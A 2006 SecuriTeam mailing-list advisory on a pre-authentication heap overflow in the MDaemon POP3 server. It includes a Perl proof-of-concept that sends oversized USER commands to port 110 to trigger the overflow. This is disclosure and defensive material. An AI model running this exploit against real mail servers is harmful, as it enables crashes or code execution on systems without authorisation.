From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 23 Aug 2006 10:35:32 +0200
Subject: [NT] MDaemon POP3 Server Buffer Overflow (preauth)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060824061027.9A4DF57E5@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
MDaemon POP3 Server Buffer Overflow (preauth)
------------------------------------------------------------------------
SUMMARY
<http://www.altn.com/>; MDaemon Server is "a standards-based SMTP/POP/IMAP
mail server that offers a full range of mail server functionality. MDaemon
is designed to manage the email needs of any number of individual users
and comes complete with a powerful set of integrated tools for managing
mail accounts and message formats. MDaemon offers a scalable SMTP, POP3,
and IMAP4 mail server complete with LDAP support, an integrated
browser-based email client, content filtering, spam filters, extensive
security features, and more". A pre-authentication vulnerability in
MDaemon allows remote attackers to cause the product to overflow an
internal buffer and potentially execute arbitrary code.
DETAILS
Vulnerable Systems:
* MDaemon version 9.05 and prior
Immune Systems:
* MDaemon version 9.06
During an audit, a critical vulnerability has been discovered in the
MDaemon POP3 server. There is a buffer overflow vulnerability in 'USER'
and 'APOP' command processing part of the Altn MDaemon POP3 server. The
vulnerability can be triggered with providing a long string to USER or
APOP commands with '@' characters included in the string. In this case,
MDaemon will incorrectly process the string and a heap overflow will
happen as a result. To trigger the vulnerability, a few USER commands have
to be sent to the POP3 Server. Sometimes (depending on the heap state and
string length), it is even possible to redirect code execution directly to
the supplied input buffer on the heap.
Exploit:
#
# PoC for Mdaemon POP3 preauth heap overflow
#
# Coded by Leon Juranic <leon.juranic@infigo.hr.>
# Infigo IS <http://www.infigo.hr>;
#
#
$host = '192.168.0.105';
use IO::Socket;
for ($x = 0 ; $x < 12 ; $x++)
{
$sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto
=> 'tcp')
|| die "socket error\n\n";
recv ($sock, $var, 10000,0);
print $var;
print $sock "USER " . "\@A" x 160 . "\r\n";
recv ($sock, $var, 10000,0);
print $var;
print $sock "QUIT\r\n";
recv ($sock, $var, 10000,0);
print $var;
close ($sock);
sleep(1);
}
$sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto
=> 'tcp')
|| die "socket error\n\n";
recv ($sock, $var, 10000,0);
print $var;
print $sock "USER " . "\@A\@A" . "B" x 326 . "\r\n";
recv ($sock, $var, 10000,0);
print $var;
print $sock "USER " . "\'A" x 337 . "\r\n";
recv ($sock, $var, 10000,0);
print $var;
sleep(2);
ADDITIONAL INFORMATION
The information has been provided by <mailto:sasa.jusic@infigo.hr.> Sasa
Jusic and <mailto:leon.juranic@infigo.hr.> Leon Juranic.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
